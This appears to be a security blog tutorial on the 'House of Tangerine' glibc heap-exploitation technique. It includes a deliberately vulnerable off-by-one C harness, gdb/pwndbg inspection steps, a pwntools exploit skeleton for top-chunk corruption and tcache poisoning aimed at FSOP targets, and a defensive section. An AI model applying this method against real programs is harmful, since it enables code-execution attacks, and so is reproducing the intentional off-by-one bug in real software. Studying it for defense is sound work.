Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
House of Tangerine is a modern (circa 2024, CTF-era) heap-grooming technique that manufactures overlapping chunks by corrupting the top chunk — the single large free chunk from which malloc carves new allocations. It is best understood as a *successor* to the classic House of Force: House of Force weaponised an unbounded top-chunk size to make malloc return an arbitrary address, and it was retired around glibc 2.29 when a sanity check on the top chunk’s size was added to _int_malloc / sysmalloc. House of Tangerine works *within* that check. Instead of smashing the top size to something enormous, it nudges the top size to a small, bin-eligible value so that pieces of the old top are split off and recycled through tcache and the unsorted bin, and then reclaimed — landing fresh allocations on top of memory the attacker already controls.
The reason the technique exists at all is the state of modern glibc. On glibc 2.35+ the old one-shot targets are gone: __malloc_hook and __free_hook were removed in 2.34, pointers in the tcache and fastbins are safe-linked (mangled against the heap base), and the tcache carries a per-entry count guard. There is no longer a single writable function pointer to overwrite, so a raw arbitrary write has to be *built up* from a heap corruption and then *cashed out* against an IO/FSOP or exit-handler chain. House of Tangerine is candidly a primitive-construction technique, not a turnkey RCE: it turns a modest heap bug into overlapping chunks and a controlled arbitrary write, and the operator supplies the final-stage target themselves. Its exact top-chunk arithmetic is version-specific, so this article keeps sizes and offsets symbolic and reasons about the mechanism.
Attack Prerequisites
House of Tangerine is a grooming technique, so it asks less about a specific corruption primitive and more about the ability to shape the heap. Typical requirements:
- A write into the top chunk’s size field — an off-by-one/one-byte overflow past a chunk adjacent to the top, or any linear overflow that reaches
av->top‘s size word. This is the core primitive; everything else is grooming. - Allocation-size control so the corrupted top size is chosen to fall in a tcache/fastbin-eligible range, and so subsequent requests split the top at the boundaries the attacker wants.
- A predictable, freshly-initialised heap (or the ability to drain it into a known state) — the technique reasons about where the top boundary sits, so deterministic grooming matters.
- glibc 2.35+ semantics — no
__malloc_hook/__free_hook, safe-linking on, tcache count checks on. The technique is designed for exactly this environment; on older glibc you would simply use House of Force or a hook overwrite. - A final-stage target reachable by an arbitrary write — an unflushed
_IO_2_1_stdout_/_IO_list_allFILE for FSOP, or the exit-handler / TLS destructor path — because there is no hook to point at.
How It Works
Every allocation that the small-bin/tcache/fastbin caches cannot satisfy is ultimately carved from the top chunk (the av->top wilderness). _int_malloc splits the request off the front of the top and rewrites the top’s size to the remainder. Historically, House of Force overwrote that size with -1/0xfff...f so that any subsequent request appeared to fit, letting malloc(target - top) reposition the top pointer to an arbitrary address. Modern glibc closed that door: sysmalloc and the top-split path assert that the top chunk’s size is sane relative to the arena — an unaligned or absurdly large top size aborts with a malloc(): corrupted top size style error. That same assertion is the one House of Kiwi deliberately *fails* to reach the abort/IO path; House of Tangerine instead keeps the top size valid but attacker-chosen.
The trick is to shrink or retune the top size to a value that is still aligned and in-range, but which is also bin-eligible. When the program next frees the region that used to be the top boundary — or when a subsequent allocation forces the allocator to split and then release a fragment — that fragment travels into the tcache or the unsorted bin as an ordinary free chunk. Because the attacker chose the boundary, the chunk that gets binned overlaps memory that is still live from an earlier allocation (or vice versa). Reclaiming it with a same-size malloc returns a pointer that aliases attacker-controlled data, giving the classic overlapping-chunks condition without a use-after-free or double-free — the corruption came from the top boundary, not from a dangling pointer.
From overlapping chunks the path is familiar: control a freed chunk’s forward link (respecting safe-linking — the stored fd is ptr ^ (chunk_addr >> 12), so you must know the heap base to mangle correctly) and you have a tcache-poisoning arbitrary write. On glibc 2.35+ that write is spent on an IO/FSOP target rather than a hook: overwrite a FILE object reachable from _IO_list_all and drive _IO_flush_all_lockp (House-of-Apple-style vtable work through _IO_wfile_jumps), or corrupt the exit-handler function-pointer array / TLS destructor list so that exit()‘s __run_exit_handlers transfers control. The point is that House of Tangerine supplies the write; the operator supplies the sink, because 2.34+ deleted the easy one.
Vulnerable Code / Setup
The enabling bug is a heap overflow that can reach the top chunk’s size field — most commonly an off-by-one on the last-allocated chunk before the wilderness. The following minimal harness models a menu allocator whose edit handler writes one byte too many, letting the attacker retune av->top‘s size:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
/* Compiled on a glibc 2.35+ host: no __malloc_hook/__free_hook, safe-linking
on, tcache count checks on. The bug is a single-byte heap overflow. */
static char *slots[16];
static size_t sizes[16];
void edit(int i, char *src, size_t n) {
/* VULN: bounds test uses <= instead of <, so n == sizes[i]+1 is
accepted -- a classic off-by-one that spills into the next chunk's
size field. When slots[i] is the chunk bordering the top, that write
lands on the top chunk's size word (av->top). */
if (n <= sizes[i] + 1)
memcpy(slots[i], src, n);
}
void create(int i, size_t n) {
slots[i] = malloc(n); /* carved from the top chunk */
sizes[i] = n;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
/* ... menu loop dispatching create/edit/delete/show ... */
return 0;
}
CThe exploit never overwrites a hook, because there is none. It corrupts the top-chunk size to a bin-eligible, still-valid value, then grooms the split so a recycled fragment overlaps a live allocation. Confirm the target’s mitigations and libc build first — the whole technique is predicated on the 2.35+ world:
$ checksec --file=./tangerine
RELRO STACK CANARY NX PIE
Full RELRO Canary found NX enab. PIE enabled <-- need a heap/libc leak
$ ./tangerine & ldd ./tangerine | grep libc
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (2.35)
$ strings /lib/x86_64-linux-gnu/libc.so.6 | grep -m1 'GNU C Library'
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release # hooks gone
BashWalkthrough / Exploitation
Drive the top corruption under the debugger before scripting anything — the entire technique is confirming that the top size took an attacker-chosen, still-valid value and that a fragment then appeared in a bin overlapping live data. In gdb with pwndbg, watch av->top and the bins as you retune the size and force the split:
gdb -q ./tangerine
pwndbg> break edit
pwndbg> run
pwndbg> heap # locate the chunk bordering the top
pwndbg> top_chunk # note av->top and its current size word
pwndbg> # step over the off-by-one edit that retunes the top size:
pwndbg> top_chunk # size is now bin-eligible but still aligned/valid
pwndbg> # after the grooming allocations + free:
pwndbg> tcachebins # recycled fragment appears here, overlapping
pwndbg> unsortedbin # (variant) fragment routed through unsorted
pwndbg> vis_heap_chunks # visually confirm the overlap with a live chunk
BashOnce the overlap is real, the composition is: (1) leak a heap address so you can compute the safe-linking mask and a libc address for the final target; (2) retune the top size and groom the split to obtain overlapping chunks; (3) use the overlap to corrupt a freed chunk’s safe-linked fd, turning it into a tcache-poisoning arbitrary write; (4) spend that write on a 2.35+ control-flow sink. A pwntools skeleton — note every libc address is a symbol lookup, never a hardcoded number:
from pwn import *
libc = ELF('./libc.so.6', checksec=False) # 2.35+
io = process('./tangerine')
# --- menu wrappers ---
def create(i, n): ... # malloc(n) into slot i
def edit(i, data): ... # writes len(data) bytes (off-by-one reachable)
def delete(i): ... # free(slots[i])
def show(i): ... # leak bytes back
# 0) leaks: a heap pointer (for safe-linking) and a libc pointer (for target)
heap_base = leak_heap() & ~0xfff
libc.address = leak_libc() - libc.sym['__libc_start_main'] # rebase by symbol
def mangle(pos, ptr): # safe-linking: fd = ptr ^ (pos >> 12)
return ptr ^ (pos >> 12)
# 1) allocate up to the wilderness so a controlled chunk borders the top
create(0, 0x18) # chunk adjacent to av->top
# 2) off-by-one retunes the TOP size to a bin-eligible, still-valid value
# (aligned, in-range -- must NOT trip 'corrupted top size')
edit(0, b'A'*0x18 + p8(TOP_SIZE_LSB)) # symbolic: chosen per libc version
# 3) grooming allocations split the top; a freed fragment overlaps live data
create(1, 0x...); create(2, 0x...); delete(1) # fragment -> tcache, overlapping
# 4) overlap lets us rewrite a freed chunk's safe-linked fd -> arbitrary write
target = libc.sym['_IO_list_all'] # FSOP sink; hooks are gone on 2.35+
edit(2, flat({ 0x??: p64(mangle(fake_pos, target)) }))
create(3, 0x...) # pops overlapping chunk
create(4, 0x...) # malloc now returns a ptr at `target`
# 5) build a fake FILE / _IO_wfile_jumps chain and trigger the flush on exit
io.interactive()
PythonThe follow-through is deliberately open-ended because 2.35+ has no single silver-bullet pointer. The realistic cash-outs are FSOP: forge a FILE linked into _IO_list_all with a _IO_wfile_jumps-style vtable so that _IO_flush_all_lockp (called at exit() or when stdio flushes) invokes a controlled _IO_overflow/__doallocate gadget — the House-of-Apple family; or the exit-handler / TLS-destructor path, corrupting the __run_exit_handlers function-pointer array (which is PTR_MANGLE’d) or the TLS tcbhead/dtor_list so that program teardown transfers control. House of Tangerine’s contribution is getting you the clean arbitrary write; the sink is standard modern-glibc IO/exit machinery.
Note: The single most common failure is tripping the top-size assertion. Modern
_int_malloc/sysmallocreject a top chunk whose size is unaligned or inconsistent with the arena’s boundary, aborting with a “corrupted top size” message — the very check House of Kiwi *wants* to reach. House of Tangerine must keep the retuned size aligned and in-range: the goal is a valid-but-attacker-chosen size, not a smashed one. Exact size arithmetic depends on the page boundary and the current top offset, so derive it per target withtop_chunk/vis_heap_chunksrather than copying a constant from another writeup.
Opsec: This is a glibc-2.35+ technique by design:
__malloc_hook/__free_hookwere removed in 2.34, tcache/fastbinfdpointers are safe-linked, and the tcache has a count guard, so you need a heap leak to compute theptr ^ (pos>>12)mask before any poisoning succeeds. In gdb,tcachebins,unsortedbin, andvis_heap_chunksimmediately after the split are the fastest confirmation the overlap materialised; if the bin is empty or the process aborted, your top size failed the sanity check.
Detection and Defense
House of Tangerine is enabled by a linear heap overflow reaching allocator metadata, so the durable defenses are the ones that stop the overflow or make the metadata untrustworthy to corrupt:
- Eliminate the off-by-one / linear overflow — the top-size write is the whole primitive; correct bounds checks (
<not<=), and length validation on edit/copy handlers remove it at the source. - Keep modern glibc hardening intact — the top-chunk size assertion, safe-linking, and tcache count checks already force the attacker into narrow, version-specific arithmetic. Do not disable
MALLOC_CHECK_-style guards or run down-rev libc. - Full RELRO + PIE + ASLR — denies static targets and forces the heap/libc leaks the technique depends on, raising cost substantially.
- Sanitizers in CI — AddressSanitizer flags the heap-buffer-overflow that reaches the top chunk deterministically during testing, well before it becomes an overlap.
- Hardened allocators — allocators with out-of-line metadata and guarded boundaries (hardened_malloc, scudo) deny the in-band top-size corruption that the technique relies on.
Real-World Impact
House of Tangerine is, honestly, a CTF-era research technique rather than a catalogued CVE: it emerged around 2024 as practitioners looked for a House-of-Force-style top-chunk primitive that survives the glibc 2.35+ hardening world, where hooks are gone and safe-linking is mandatory. Its significance is pedagogical and practical — it demonstrates that removing __malloc_hook/__free_hook did not remove heap exploitation, it merely moved the final stage onto FSOP and exit-handler machinery, and that the top chunk remains a fertile source of overlapping-chunk primitives even after House of Force was patched. The underlying weakness classes it rides — heap-based buffer overflow and the resulting overlapping allocations — sit near the top of industry weakness lists (CWE-122, CWE-787), which is why grooming techniques like this keep reappearing on modern targets.
Conclusion
House of Tangerine is the top chunk’s answer to modern glibc hardening. Where House of Force smashed the wilderness size and was patched out around 2.29, Tangerine keeps that size valid-but-chosen, grooms the resulting split so a recycled fragment overlaps live memory, and hands the operator a clean tcache-poisoning arbitrary write — no UAF, no double-free, no hook required. On glibc 2.35+ that write is spent on an FSOP or exit-handler chain because the easy targets are gone. The lesson is that allocator metadata you can reach linearly is still a control primitive: keep the overflow out, keep the top-size and safe-linking checks on, and the wilderness stays a boundary rather than a weapon.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments